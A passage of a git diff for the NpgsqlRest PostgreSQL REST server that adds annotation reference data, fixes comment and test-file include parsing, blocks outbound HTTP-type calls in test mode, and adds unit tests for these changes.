(CommentAnnotations.IsKnownCustomParameter(key) is false) + { + (unknown ??= []).Add(key); + } + } + if (unknown is not null) + { + writer.WriteStartArray("unknownCustomParameters"); + foreach (var key in unknown) writer.WriteStringValue(key); + writer.WriteEndArray(); + } + } + writer.WriteEndObject(); } diff --git a/NpgsqlRestClient/Program.cs b/NpgsqlRestClient/Program.cs index b7032886..371fe38c 100644 --- a/NpgsqlRestClient/Program.cs +++ b/NpgsqlRestClient/Program.cs @@ -135,7 +135,7 @@ if (args.Length >= 1 && string.Equals(args[0], "--annotations", StringComparison.CurrentCultureIgnoreCase)) { - var annotations = NpgsqlRest.Defaults.DefaultCommentParser.GetAnnotationReference(); + var annotations = AnnotationReference.All(); new Out().JsonHighlight(annotations.ToJsonString(CliJson.JsonOptions)); return; } @@ -166,6 +166,9 @@ var config = new Config(); var builder = new Builder(config); +// Everything the client's plugins and handlers read from comments, enabled or not: the comment parser then knows +// a disabled plugin's annotation from a misspelt one. +AnnotationReference.Register(); var appInstance = new App(config, builder); try diff --git a/NpgsqlRestClient/TableFormatAnnotations.cs b/NpgsqlRestClient/TableFormatAnnotations.cs new file mode 100644 index 00000000..7606e7e2 --- /dev/null +++ b/NpgsqlRestClient/TableFormatAnnotations.cs @@ -0,0 +1,33 @@ +using NpgsqlRest; + +namespace NpgsqlRestClient; + +/// The custom parameters the Excel table format reads, as annotation reference data. +public static class TableFormatAnnotations +{ + public static CommentAnnotation[] All => + [ + new() + { + Name = "excel_file_name", + Aliases = ["excel_file_name"], + Syntax = "excel_file_name = ", + Description = "The file name of the Excel download (.xlsx is added when missing). Default: the routine's name.", + Owner = "table_format:excel", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "excel_file_name = orders-{_year}" + }, + new() + { + Name = "excel_sheet", + Aliases = ["excel_sheet"], + Syntax = "excel_sheet = ", + Description = "The name of the worksheet (31 characters at most). Default: the ExcelSheetName setting, else the routine's name.", + Owner = "table_format:excel", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "excel_sheet = Orders" + }, + ]; +} diff --git a/NpgsqlRestClient/Testing/SqlTestFileParser.cs b/NpgsqlRestClient/Testing/SqlTestFileParser.cs index 029501e6..e15d2ba5 100644 --- a/NpgsqlRestClient/Testing/SqlTestFileParser.cs +++ b/NpgsqlRestClient/Testing/SqlTestFileParser.cs @@ -19,7 +19,7 @@ private enum State { Normal, BlockComment, SingleQuote, DollarQuote } /// including file). The path may be single-quoted; a trailing ';' is forgiven. Returns false for any /// other line (including other backslash commands). /// - internal static bool TryParseIncludeLine(string line, out string path, out bool relativeToFile) + public static bool TryParseIncludeLine(string line, out string path, out bool relativeToFile) { path = ""; relativeToFile = false; @@ -31,10 +31,19 @@ internal static bool TryParseIncludeLine(string line, out string path, out bool if (!relative && !plain) return false; var p = t[(relative ? 3 : 2)..].Trim(); - if (p.EndsWith(';')) p = p[..^1].TrimEnd(); // forgive a trailing ; - if (p.Length > 1 && p[0] == '\'' && p[^1] == '\'') + if (p.Length > 0 && p[0] == '\'') { - p = p[1..^1]; // psql-style quoted path + // psql-style quoted path: everything up to the closing quote; what follows (a ; or a comment) is not it + var close = p.IndexOf('\'', 1); + p = close > 0 ? p[1..close] : p; + } + else + { + // a comment after the path is not part of it: \ir fixtures/users.sql -- the test users + var comment = p.StartsWith("--", StringComparison.Ordinal) ? 0 : p.IndexOf(" --", StringComparison.Ordinal); + if (comment < 0) comment = p.IndexOf("\t--", StringComparison.Ordinal); + if (comment >= 0) p = p[..comment].TrimEnd(); + if (p.EndsWith(';')) p = p[..^1].TrimEnd(); // forgive a trailing ; } if (p.Length == 0) return false; diff --git a/NpgsqlRestClient/Testing/TestAnnotations.cs b/NpgsqlRestClient/Testing/TestAnnotations.cs new file mode 100644 index 00000000..ae1a9b7e --- /dev/null +++ b/NpgsqlRestClient/Testing/TestAnnotations.cs @@ -0,0 +1,84 @@ +using NpgsqlRest; + +namespace NpgsqlRestClient.Testing; + +/// What a SQL test file (npgsqlrest --test) may say in its comments, as annotation reference data. +public static class TestAnnotations +{ + private const AnnotationContext Ctx = AnnotationContext.TestFile; + + public static CommentAnnotation[] All => + [ + new() + { + Name = "setup", + Aliases = ["setup"], + Syntax = "-- @setup [, ...]", + Description = "Run these steps (named in TestRunner:Steps) before the file. In the file's header only: the comment lines at its top. An unknown step is an error and the file does not run.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.List, + Example = "-- @setup seed_users" + }, + new() + { + Name = "teardown", + Aliases = ["teardown"], + Syntax = "-- @teardown [, ...]", + Description = "Run these steps (named in TestRunner:Steps) after the file, whether it passed or not. In the file's header only.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.List, + Example = "-- @teardown remove_users" + }, + new() + { + Name = "connection", + Aliases = ["connection"], + Syntax = "-- @connection ", + Description = "Run the file's SQL and its endpoint calls on this connection (a name in ConnectionStrings) instead of the run's test connection. In the file's header only.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.Name, + Example = "-- @connection reporting" + }, + new() + { + Name = "tag", + Aliases = ["tag"], + Syntax = "-- @tag [, ...]", + Description = "Tags for this file, which TestRunner:Tag and TestRunner:ExcludeTag select or leave out. In the file's header only.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.List, + Example = "-- @tag smoke, auth" + }, + new() + { + Name = "include", + Aliases = ["\\i", "\\ir"], + Syntax = "\\i | \\ir ", + Description = "Include another file here, as if its text were pasted: \\i reads the path from the working directory, \\ir from the including file's directory. On a line of its own, between statements. The rest of the line is the path.", + Owner = "test", Contexts = Ctx, Form = AnnotationForm.Line, ValueKind = AnnotationValueKind.Path, + Example = "\\ir fixtures/users.sql" + }, + new() + { + Name = "test_request", + Syntax = "/* GET|POST|PUT|DELETE /path[?query] ... */", + Description = "A block comment that starts with a request line calls that endpoint in-process. Header lines and # @claim / # @response directives follow the request line, then a blank line, then the body. The response lands in a temporary table (_response, or _response_1, _response_2 ... when the file has several calls) with the columns status, body, content_type, headers and is_success, which the SQL after it asserts on.", + Owner = "test", Contexts = Ctx, Form = AnnotationForm.Line, + Example = "/* GET /api/users?id=1 */" + }, + new() + { + Name = "claim", + Aliases = ["claim"], + Syntax = "# @claim =", + Description = "Inside a request block: the call is made by a signed-in user with this claim. Repeat it for more claims. Without any, the call is anonymous.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.Text, + Example = "# @claim user_id=42" + }, + new() + { + Name = "response", + Aliases = ["response"], + Syntax = "# @response ", + Description = "Inside a request block: the name of the temporary table that receives this call's response.", + Owner = "test", Contexts = Ctx, ValueKind = AnnotationValueKind.Name, + Example = "# @response created" + }, + ]; +} diff --git a/NpgsqlRestClient/Testing/TestRunner.cs b/NpgsqlRestClient/Testing/TestRunner.cs index cf58e70e..d4876090 100644 --- a/NpgsqlRestClient/Testing/TestRunner.cs +++ b/NpgsqlRestClient/Testing/TestRunner.cs @@ -873,6 +873,20 @@ private async Task InvokeHttpStepAsync( if (host is not null && !host.StartsWith('/')) return new StepResult(true, Outcome.Error, $"outbound proxy/HTTP-type endpoints are disallowed in test mode: {httpName}", httpName); } + // An HTTP Custom Type that calls another server is an outbound call as well. (The message above always + // said so; nothing checked it.) A type that calls this application (a URL starting with /) is fine. + if (_rest.HttpClientOptions.Enabled) + { + foreach (var parameter in ep.Routine.Parameters) + { + if (parameter.TypeDescriptor.CustomType is { } customType + && NpgsqlRest.HttpClientType.HttpClientTypes.Definitions.TryGetValue(customType, out var httpType) + && !httpType.Url.StartsWith('/')) + { + return new StepResult(true, Outcome.Error, $"outbound proxy/HTTP-type endpoints are disallowed in test mode: {httpName} (type {customType} calls {httpType.Method} {httpType.Url})", httpName); + } + } + } } else { diff --git a/NpgsqlRestTests/CliTests/CliCommandTests.cs b/NpgsqlRestTests/CliTests/CliCommandTests.cs index b70d4f65..07b86d46 100644 --- a/NpgsqlRestTests/CliTests/CliCommandTests.cs +++ b/NpgsqlRestTests/CliTests/CliCommandTests.cs @@ -164,9 +164,16 @@ public async Task Annotations_WritesJsonArrayToStdout() // Core annotations names.Should().Contain(["http", "single", "void"]); // SQL-file statement annotations - names.Should().Contain(["skip", "returns", "resultN", "define_param"]); - // Plugin annotations - names.Should().Contain(["mcp", "openapi"]); + names.Should().Contain(["skip", "returns", "result", "define_param"]); + // Plugin annotations and custom parameters, each with its owner + names.Should().Contain(["mcp", "mcp_name", "openapi", "tsclient_module", "dartclient", "excel_sheet", "row_command"]); + // Test files and HTTP Custom Types + names.Should().Contain(["setup", "claim", "retry_delay"]); + var tsclient = json.AsArray().Single(n => n?["name"]?.GetValue() == "tsclient_module")!; + tsclient["owner"]!.GetValue().Should().Be("tsclient"); + tsclient["form"]!.GetValue().Should().Be("key_value"); + tsclient["contexts"]!.AsArray().Select(c => c!.GetValue()).Should().Equal("routine", "sql_file"); + tsclient["example"]!.GetValue().Should().Be("tsclient_module = users"); stderr.Should().BeEmpty(); } @@ -449,6 +456,40 @@ public async Task Config_WithFilter_NoMatch_ShowsNoResults() stdout.Should().Contain("xyz_absolutely_no_match_here"); } + [Fact] + public async Task Test_mode_refuses_an_endpoint_whose_http_type_calls_another_server() + { + // The test runner calls endpoints in-process and must not reach out. Proxy endpoints were refused; an + // endpoint with an HTTP Custom Type that calls another server was not, although the message said so. + var dir = Path.Combine(Path.GetTempPath(), "npgsqlrest_cli_httptype_" + Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(dir); + try + { + File.WriteAllText(Path.Combine(dir, "outbound.test.sql"), "/* GET /api/trt/outbound */\nselect status = 200, 'outbound answers' from _response;\n"); + File.WriteAllText(Path.Combine(dir, "own.test.sql"), "/* GET /api/trt/own */\nselect status = 200, 'own endpoint answers' from _response;\nselect body = 'pong', 'own endpoint body' from _response;\n"); + + var (stdout, stderr, exitCode) = await RunCliAsync( + "--test", + "--ConnectionStrings:Default=" + Database.Create(), + "--TestRunner:FilePattern=" + dir.Replace('\\', '/') + "/*.test.sql", + "--NpgsqlRest:IncludeSchemas:0=trt", + "--NpgsqlRest:RequiresAuthorization=false", + "--NpgsqlRest:HttpClientOptions:Enabled=true"); + + var output = stdout + stderr; + exitCode.Should().NotBe(0, output); + output.Should().Contain("outbound proxy/HTTP-type endpoints are disallowed in test mode: GET /api/trt/outbound (type trt.outbound_call calls GET http://127.0.0.1:9/never)"); + // a type that calls this application is not an outbound call + output.Should().NotContain("GET /api/trt/own (type"); + output.Should().Contain("2 passed, 0 failed, 1 error(s)"); + output.Should().Contain("own.test.sql (2 assertions"); + } + finally + { + Directory.Delete(dir, true); + } + } + private static JsonNode? ParseJsonc(string jsonc) { return JsonNode.Parse(jsonc, documentOptions: new JsonDocumentOptions diff --git a/NpgsqlRestTests/CliTests/CliTestRunnerHttpTypeSetup.cs b/NpgsqlRestTests/CliTests/CliTestRunnerHttpTypeSetup.cs new file mode 100644 index 00000000..b31a6314 --- /dev/null +++ b/NpgsqlRestTests/CliTests/CliTestRunnerHttpTypeSetup.cs @@ -0,0 +1,23 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CliTestRunnerHttpTypeTests() + { + script.Append(""" + create schema if not exists trt; + + create type trt.outbound_call as (body text, status_code int); + comment on type trt.outbound_call is 'GET http://127.0.0.1:9/never'; + create function trt.outbound(_req trt.outbound_call = null) returns text language sql as $$ select (_req).body $$; + comment on function trt.outbound(trt.outbound_call) is 'HTTP GET'; + + create function trt.ping() returns text language sql as $$ select 'pong' $$; + comment on function trt.ping() is 'HTTP GET'; + create type trt.own_call as (body text, status_code int); + comment on type trt.own_call is 'GET /api/trt/ping'; + create function trt.own(_req trt.own_call = null) returns text language sql as $$ select (_req).body $$; + comment on function trt.own(trt.own_call) is 'HTTP GET'; + """); + } +} diff --git a/NpgsqlRestTests/CommentTests/CommentParserFixesTests.cs b/NpgsqlRestTests/CommentTests/CommentParserFixesTests.cs new file mode 100644 index 00000000..57391d95 --- /dev/null +++ b/NpgsqlRestTests/CommentTests/CommentParserFixesTests.cs @@ -0,0 +1,227 @@ +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CommentParserFixesTests() + { + script.Append(""" + create schema if not exists cmt; + + create function cmt.key_case() returns text language sql as $$ select 'x' $$; + comment on function cmt.key_case() is 'HTTP GET + TsClient_Module = Users + @ROW_COMMAND = select 1 + @Cmt_Key = known whatever its case'; + + create function cmt.escapes() returns text language sql as $$ select 'x' $$; + comment on function cmt.escapes() is 'HTTP GET + @file_system_path = C:\uploads\new + separator = \t + @cmt_key = a\\b'; + + create function cmt.switches() returns text language sql as $$ select 'x' $$; + comment on function cmt.switches() is 'HTTP GET + raw = ON + single = 1 + user_context = enabled + user_parameters = Enable + columns = off + void = 0 + encrypt = disabled'; + + create function cmt.bad_values() returns text language sql as $$ select 'x' $$; + comment on function cmt.bad_values() is 'HTTP GET + raw = maybe + buffer_rows = many + timeout = soon + sse_level = loud + retry_strategy = no_such_strategy + single = 2'; + + create function cmt.basic_auth_user() returns text language sql as $$ select 'x' $$; + comment on function cmt.basic_auth_user() is 'HTTP GET + basic_auth = alice secret'; + + create function cmt.basic_auth_on() returns text language sql as $$ select 'x' $$; + comment on function cmt.basic_auth_on() is 'HTTP GET + @basic_auth = true'; + + create function cmt.resolved(_token text) returns text language sql as $$ select _token $$; + comment on function cmt.resolved(text) is 'HTTP GET + @_token = select ''resolved'''; + + create function cmt.keyword_as_key() returns text language sql as $$ select 'x' $$; + comment on function cmt.keyword_as_key() is 'HTTP GET + @authorize = admin + @cached = true'; + + -- a volatile function: "for immutable" does not match, "for volatile" does + create function cmt.plugin_tag_miss() returns text language sql as $$ select 'x' $$; + comment on function cmt.plugin_tag_miss() is 'HTTP GET + for immutable + cmtplugin + authorize'; + + create function cmt.upload_named(_meta json = null) returns text language sql as $$ select 'x' $$; + comment on function cmt.upload_named(json) is 'HTTP POST + upload for csv, lo, no_such_handler + @Csv_delimiters = ; + @lo_check_text = true'; + + create function cmt.plugin_tag_hit() returns text language sql as $$ select 'x' $$; + comment on function cmt.plugin_tag_hit() is 'HTTP GET + for volatile + @cmtplugin + authorize'; + """); + } +} + +/// +/// Fixes in how a comment's "key = value" lines are read (3.22.0): keys in any case, values that are not valid +/// escapes, switch values, values that are not valid, basic_auth, the @ on a resolved parameter, and plugin lines +/// under a tag. +/// +[Collection("UnhandledCommentLinesFixture")] +public class CommentParserFixesTests(UnhandledCommentLinesTestFixture test) +{ + [Fact] + public void Custom_parameter_keys_are_found_in_any_case() + { + var e = test.Endpoints["key_case"]; + // stored as written ... + e.CustomParameters!.Keys.Should().BeEquivalentTo(["TsClient_Module", "ROW_COMMAND", "Cmt_Key"]); + // ... and found by the lower case names that readers (client generators, upload handlers) ask for + e.CustomParameters["tsclient_module"].Should().Be("Users"); + e.CustomParameters.TryGetValue("row_command", out var rowCommand).Should().BeTrue(); + rowCommand.Should().Be("select 1"); + e.CustomParameters.ContainsKey("cmt_key").Should().BeTrue(); + e.UnknownAnnotationLines.Should().BeNull(); + e.Diagnostics.Should().BeNull(); + } + + [Fact] + public void Value_that_is_not_a_valid_escape_sequence_is_taken_as_written() + { + var e = test.Endpoints["escapes"]; + // \u is an incomplete escape: this used to throw while the endpoints were built + e.CustomParameters!["file_system_path"].Should().Be(@"C:\uploads\new"); + // valid escapes still work + e.RawValueSeparator.Should().Be("\t"); + e.CustomParameters["cmt_key"].Should().Be(@"a\b"); + } + + [Fact] + public void Switches_accept_on_off_enabled_disabled_1_and_0() + { + var e = test.Endpoints["switches"]; + e.Raw.Should().BeTrue(); + e.ReturnSingleRecord.Should().BeTrue(); + e.UserContext.Should().BeTrue(); + e.UseUserParameters.Should().BeTrue(); + e.RawColumnNames.Should().BeFalse(); + e.Void.Should().BeFalse(); + e.EncryptAllParameters.Should().BeFalse(); + e.Diagnostics.Should().BeNull(); + } + + [Fact] + public void Value_that_is_not_valid_is_ignored_and_said() + { + var e = test.Endpoints["bad_values"]; + e.Raw.Should().BeFalse(); + e.BufferRows.Should().BeNull(); + e.CommandTimeout.Should().BeNull(); + e.SseEventNoticeLevel.Should().BeNull(); + // (RetryStrategy keeps the default strategy; the unknown name is only said) + e.ReturnSingleRecord.Should().BeFalse(); + e.Diagnostics.Should().HaveCount(6); + e.Diagnostics![0].Should().EndWith("raw = maybe - the value is not valid and is ignored. Expected: true or false."); + e.Diagnostics[1].Should().EndWith("buffer_rows = many - the value is not valid and is ignored. Expected: a whole number, 0 or more."); + e.Diagnostics[2].Should().EndWith("timeout = soon - the value is not valid and is ignored. Expected: an interval, such as 30s or 5 minutes."); + e.Diagnostics[3].Should().EndWith("sse_level = loud - the value is not valid and is ignored. Expected: INFO, NOTICE, WARNING."); + e.Diagnostics[4].Should().Contain("no_such_strategy"); + e.Diagnostics[5].Should().EndWith("single = 2 - the value is not valid and is ignored. Expected: true or false."); + } + + [Fact] + public void Basic_auth_key_value_form_adds_the_user() + { + // the words were read one position too far, so this form never added a user + var e = test.Endpoints["basic_auth_user"]; + e.BasicAuth.Should().NotBeNull(); + e.BasicAuth!.Enabled.Should().BeTrue(); + e.BasicAuth.Users.Should().Equal(new Dictionary { ["alice"] = "secret" }); + + var on = test.Endpoints["basic_auth_on"]; + on.BasicAuth!.Enabled.Should().BeTrue(); + on.BasicAuth.Users.Should().BeEmpty(); + } + + [Fact] + public void Resolved_parameter_may_be_written_with_the_prefix() + { + var e = test.Endpoints["resolved"]; + e.ResolvedParameterExpressions.Should().Equal(new Dictionary { ["_token"] = "select 'resolved'" }); + e.CustomParameters.Should().BeNull(); + e.UnknownAnnotationLines.Should().BeNull(); + } + + [Fact] + public void Keyword_written_as_a_key_is_reported() + { + // "authorize" and "cached" are keywords; as "key = value" they are stored and read by nothing + var e = test.Endpoints["keyword_as_key"]; + e.RequiresAuthorization.Should().BeFalse(); + e.Cached.Should().BeFalse(); + e.UnknownAnnotationLines.Should().Equal("@authorize = admin", "@cached = true"); + e.Diagnostics.Should().HaveCount(2); + } + + [Fact] + public void Upload_handlers_are_named_in_any_case_and_their_prefixed_parameters_are_known() + { + // the fixture configures the handler keys "Csv" and "LO"; "upload for csv, lo" used to find neither + var e = test.Endpoints["upload_named"]; + e.Upload.Should().BeTrue(); + e.UploadHandlers.Should().Equal("Csv", "LO"); + e.CustomParameters!["csv_delimiters"].Should().Be(";"); + e.CustomParameters["LO_check_text"].Should().Be("true"); + // parameters prefixed with a configured (not default) handler name are known + e.UnknownAnnotationLines.Should().BeNull(); + // the one warning is about the handler that does not exist + e.Diagnostics.Should().ContainSingle().Which.Should().Contain("upload handler no_such_handler doesn't exists"); + } + + [Fact] + public void Plugin_annotation_applies_only_under_a_matching_tag() + { + var miss = test.Endpoints["plugin_tag_miss"]; + miss.Items.ContainsKey("cmtplugin").Should().BeFalse(); + miss.RequiresAuthorization.Should().BeFalse(); + + var hit = test.Endpoints["plugin_tag_hit"]; + hit.Items["cmtplugin"].Should().Be(true); + hit.RequiresAuthorization.Should().BeTrue(); + } + + [Theory] + [InlineData("true", true)] [InlineData("TRUE", true)] [InlineData("on", true)] [InlineData("On", true)] + [InlineData("enabled", true)] [InlineData("enable", true)] [InlineData("1", true)] [InlineData(" true ", true)] + [InlineData("false", false)] [InlineData("off", false)] [InlineData("OFF", false)] + [InlineData("disabled", false)] [InlineData("disable", false)] [InlineData("0", false)] + public void Switch_values(string value, bool expected) + { + Ext.TryParseSwitch(value, out var result).Should().BeTrue(); + result.Should().Be(expected); + } + + [Theory] + [InlineData("")] [InlineData("yes")] [InlineData("no")] [InlineData("2")] [InlineData("truthy")] [InlineData(null)] + public void Not_a_switch_value(string? value) + { + Ext.TryParseSwitch(value, out _).Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/CommentTests/PluginAndHandlerFixesTests.cs b/NpgsqlRestTests/CommentTests/PluginAndHandlerFixesTests.cs new file mode 100644 index 00000000..028fbaf2 --- /dev/null +++ b/NpgsqlRestTests/CommentTests/PluginAndHandlerFixesTests.cs @@ -0,0 +1,222 @@ +using NpgsqlRest.DartClient; +using NpgsqlRest.OpenAPI; +using NpgsqlRest.TsClient; +using NpgsqlRest.UploadHandlers; +using NpgsqlRestClient.Testing; +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests; + +/// Fixes in the plugins and handlers (3.22.0): OpenAPI tags, client generator files, upload handler names, test file includes. +[Collection("UnhandledCommentLinesFixture")] +public class PluginAndHandlerFixesTests(UnhandledCommentLinesTestFixture test) +{ + // ----- OpenAPI tags --------------------------------------------------------------------------------------- + + [Theory] + [InlineData("openapi tag partner", new[] { "partner" })] + // a tag of several words: used to be split into "Partner" and "API" + [InlineData("openapi tag Partner API", new[] { "Partner API" })] + [InlineData("@openapi tags Partner API, Billing", new[] { "Partner API", "Billing" })] + [InlineData("openapi tags a,b , c", new[] { "a", "b", "c" })] + [InlineData("OPENAPI\tTAG\tReports", new[] { "Reports" })] + [InlineData("openapi tags one, , two,", new[] { "one", "two" })] + public void Openapi_tags_are_separated_by_commas(string line, string[] expected) + { + var endpoint = test.Endpoints["unhandled_none"]; + endpoint.Items.Remove("openapi:tags"); + var words = line.Split([' ', ',', '\t'], StringSplitOptions.RemoveEmptyEntries); + + var result = new OpenApi(new OpenApiOptions()).HandleCommentLine(endpoint, line, words, [.. words.Select(w => w.ToLowerInvariant())]); + + result.Should().NotBeNull(); + (endpoint.Items["openapi:tags"] as string[]).Should().Equal(expected); + endpoint.Items.Remove("openapi:tags"); + } + + [Theory] + [InlineData("openapi tag")] + [InlineData("openapi tags ,")] + public void Openapi_tag_without_a_value_sets_nothing(string line) + { + var endpoint = test.Endpoints["unhandled_none"]; + endpoint.Items.Remove("openapi:tags"); + var words = line.Split([' ', ',', '\t'], StringSplitOptions.RemoveEmptyEntries); + + var result = new OpenApi(new OpenApiOptions()).HandleCommentLine(endpoint, line, words, [.. words.Select(w => w.ToLowerInvariant())]); + + result.Should().NotBeNull("the line is the plugin's, also when it sets nothing"); + endpoint.Items.ContainsKey("openapi:tags").Should().BeFalse(); + } + + // ----- one file or several: the TypeScript and Dart client generators --------------------------------------- + + private RoutineEndpoint[] TwoEndpoints => [test.Endpoints["unhandled_none"], test.Endpoints["unhandled_mixed"]]; + + private static string NewDir() + { + var dir = Path.Combine(Path.GetTempPath(), "npgsqlrest_client_files_" + Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(dir); + return dir; + } + + private static string[] FilesOf(string dir) => [.. Directory.GetFiles(dir).Select(Path.GetFileName).Order()!]; + + [Fact] + public void TsClient_writes_one_file_when_not_by_schema_and_no_endpoint_names_a_module() + { + // used to log "FilePath doesn't contain {0} formatter and BySchema options is true" and write nothing + var dir = NewDir(); + try + { + new TsClient(new TsClientOptions { CreateSeparateTypeFile = false, FilePath = Path.Combine(dir, "api.ts"), BySchema = false, FileOverwrite = true }).Cleanup(TwoEndpoints); + FilesOf(dir).Should().Equal("api.ts"); + File.ReadAllText(Path.Combine(dir, "api.ts")).Should().Contain("apiCmtUnhandledNone").And.Contain("apiCmtUnhandledMixed"); + } + finally { Directory.Delete(dir, true); } + } + + [Fact] + public void TsClient_writes_one_file_when_modules_are_named_but_the_path_has_no_place_for_them() + { + var dir = NewDir(); + var endpoints = TwoEndpoints; + var saved = endpoints[0].CustomParameters; + endpoints[0].CustomParameters = new(StringComparer.OrdinalIgnoreCase) { ["tsclient_module"] = "special" }; + try + { + new TsClient(new TsClientOptions { CreateSeparateTypeFile = false, FilePath = Path.Combine(dir, "api.ts"), BySchema = false, FileOverwrite = true }).Cleanup(endpoints); + FilesOf(dir).Should().Equal("api.ts"); + } + finally { endpoints[0].CustomParameters = saved; Directory.Delete(dir, true); } + } + + [Fact] + public void TsClient_splits_by_module_when_the_path_has_a_place_for_it() + { + // used to write everything into a file literally named "{0}.ts" + var dir = NewDir(); + var endpoints = TwoEndpoints; + var saved = endpoints[0].CustomParameters; + endpoints[0].CustomParameters = new(StringComparer.OrdinalIgnoreCase) { ["TsClient_Module"] = "special" }; + try + { + new TsClient(new TsClientOptions { CreateSeparateTypeFile = false, FilePath = Path.Combine(dir, "{0}.ts"), BySchema = false, FileOverwrite = true }).Cleanup(endpoints); + FilesOf(dir).Should().Equal("cmt.ts", "special.ts"); + File.ReadAllText(Path.Combine(dir, "special.ts")).Should().Contain("apiCmtUnhandledNone").And.NotContain("apiCmtUnhandledMixed"); + File.ReadAllText(Path.Combine(dir, "cmt.ts")).Should().Contain("apiCmtUnhandledMixed").And.NotContain("apiCmtUnhandledNone"); + } + finally { endpoints[0].CustomParameters = saved; Directory.Delete(dir, true); } + } + + [Fact] + public void TsClient_by_schema_is_unchanged() + { + var dir = NewDir(); + try + { + new TsClient(new TsClientOptions { CreateSeparateTypeFile = false, FilePath = Path.Combine(dir, "{0}.ts"), BySchema = true, FileOverwrite = true }).Cleanup(TwoEndpoints); + FilesOf(dir).Should().Equal("cmt.ts"); + } + finally { Directory.Delete(dir, true); } + } + + [Fact] + public void DartClient_writes_one_file_when_not_by_schema_and_no_endpoint_names_a_module() + { + var dir = NewDir(); + try + { + new DartClient(new DartClientOptions { FilePath = Path.Combine(dir, "api.dart"), BySchema = false, FileOverwrite = true }).Cleanup(TwoEndpoints); + FilesOf(dir).Should().Equal("api.dart"); + } + finally { Directory.Delete(dir, true); } + } + + [Fact] + public void DartClient_splits_by_module_when_the_path_has_a_place_for_it() + { + var dir = NewDir(); + var endpoints = TwoEndpoints; + var saved = endpoints[0].CustomParameters; + endpoints[0].CustomParameters = new(StringComparer.OrdinalIgnoreCase) { ["dartclient_module"] = "special" }; + try + { + new DartClient(new DartClientOptions { FilePath = Path.Combine(dir, "{0}.dart"), BySchema = false, FileOverwrite = true }).Cleanup(endpoints); + FilesOf(dir).Should().Equal("cmt.dart", "special.dart"); + } + finally { endpoints[0].CustomParameters = saved; Directory.Delete(dir, true); } + } + + // ----- upload handler names ------------------------------------------------------------------------------ + + [Fact] + public void Upload_handlers_are_found_by_name_in_any_case() + { + var options = new NpgsqlRestUploadOptions { Enabled = true }; + options.DefaultUploadHandlerOptions.CsvUploadKey = "Csv"; + options.DefaultUploadHandlerOptions.LargeObjectKey = "LO"; + + var handlers = options.CreateUploadHandlers()!; + + handlers.Keys.Should().BeEquivalentTo(["LO", "file_system", "Csv"]); + // an annotation's words are lower case: "upload for csv, lo" + handlers.ContainsKey("csv").Should().BeTrue(); + handlers.ContainsKey("lo").Should().BeTrue(); + handlers.ContainsKey("FILE_SYSTEM").Should().BeTrue(); + handlers.ContainsKey("excel").Should().BeFalse(); + } + + [Fact] + public void Upload_parameters_are_known_under_a_configured_handler_name() + { + var renamed = UploadAnnotations.WithHandlerKey(UploadAnnotations.Core, "csv", "spreadsheet"); + + renamed.Select(a => a.Name).Should().Equal( + "check_format", "test_buffer_size", "non_printable_threshold", "delimiters", + "has_fields_enclosed_in_quotes", "set_white_space_to_null", "row_command"); + renamed.Should().OnlyContain(a => a.Owner == "upload:spreadsheet" && a.Form == AnnotationForm.KeyValue); + renamed.Single(a => a.Name == "delimiters").Aliases.Should().Equal("delimiters", "spreadsheet_delimiters"); + + // the default name: nothing to add, in any case + UploadAnnotations.WithHandlerKey(UploadAnnotations.Core, "csv", "csv").Should().BeEmpty(); + UploadAnnotations.WithHandlerKey(UploadAnnotations.Core, "csv", "CSV").Should().BeEmpty(); + + CommentAnnotations.Register(renamed); + CommentAnnotations.IsKnownCustomParameter("spreadsheet_delimiters").Should().BeTrue(); + CommentAnnotations.IsKnownCustomParameter("@Spreadsheet_Row_Command").Should().BeTrue(); + CommentAnnotations.IsKnownCustomParameter("spreadsheet_oid").Should().BeFalse(); + } + + // ----- test files: include lines ------------------------------------------------------------------------- + + [Theory] + [InlineData("\\ir fixtures/users.sql", "fixtures/users.sql", true)] + [InlineData("\\i global/seed.sql", "global/seed.sql", false)] + [InlineData("\\IR fixtures/users.sql;", "fixtures/users.sql", true)] + // a comment after the path used to become part of it ("include not found") + [InlineData("\\ir fixtures/users.sql -- the test users", "fixtures/users.sql", true)] + [InlineData("\\ir fixtures/users.sql;\t-- the test users", "fixtures/users.sql", true)] + [InlineData("\\ir 'my fixtures/data.sql'", "my fixtures/data.sql", true)] + [InlineData("\\ir 'my fixtures/data.sql'; -- quoted, with a comment", "my fixtures/data.sql", true)] + [InlineData("\\ir 'odd -- name.sql'", "odd -- name.sql", true)] + // not a comment: no space before the dashes + [InlineData("\\ir fixtures/a--b.sql", "fixtures/a--b.sql", true)] + public void Include_line(string line, string path, bool relativeToFile) + { + SqlTestFileParser.TryParseIncludeLine(line, out var actualPath, out var actualRelative).Should().BeTrue(); + actualPath.Should().Be(path); + actualRelative.Should().Be(relativeToFile); + } + + [Theory] + [InlineData("\\ir")] + [InlineData("\\ir -- only a comment")] + [InlineData("\\include x.sql")] + [InlineData("\\irx.sql")] + [InlineData("select 1")] + public void Not_an_include_line(string line) + { + SqlTestFileParser.TryParseIncludeLine(line, out _, out _).Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/CommentTests/UnhandledCommentLinesTests.cs b/NpgsqlRestTests/CommentTests/UnhandledCommentLinesTests.cs index 8e8b8a81..26907750 100644 --- a/NpgsqlRestTests/CommentTests/UnhandledCommentLinesTests.cs +++ b/NpgsqlRestTests/CommentTests/UnhandledCommentLinesTests.cs @@ -11,7 +11,7 @@ public static void UnhandledCommentLinesTests() script.Append(@" create schema if not exists cmt; --- prose + an unknown (plugin-style) annotation are unhandled; HTTP and authorize are consumed +-- prose is unhandled; a line written as an annotation that nothing reads is kept apart; HTTP and authorize are consumed create function cmt.unhandled_mixed() returns text language sql as 'select ''mixed'''; comment on function 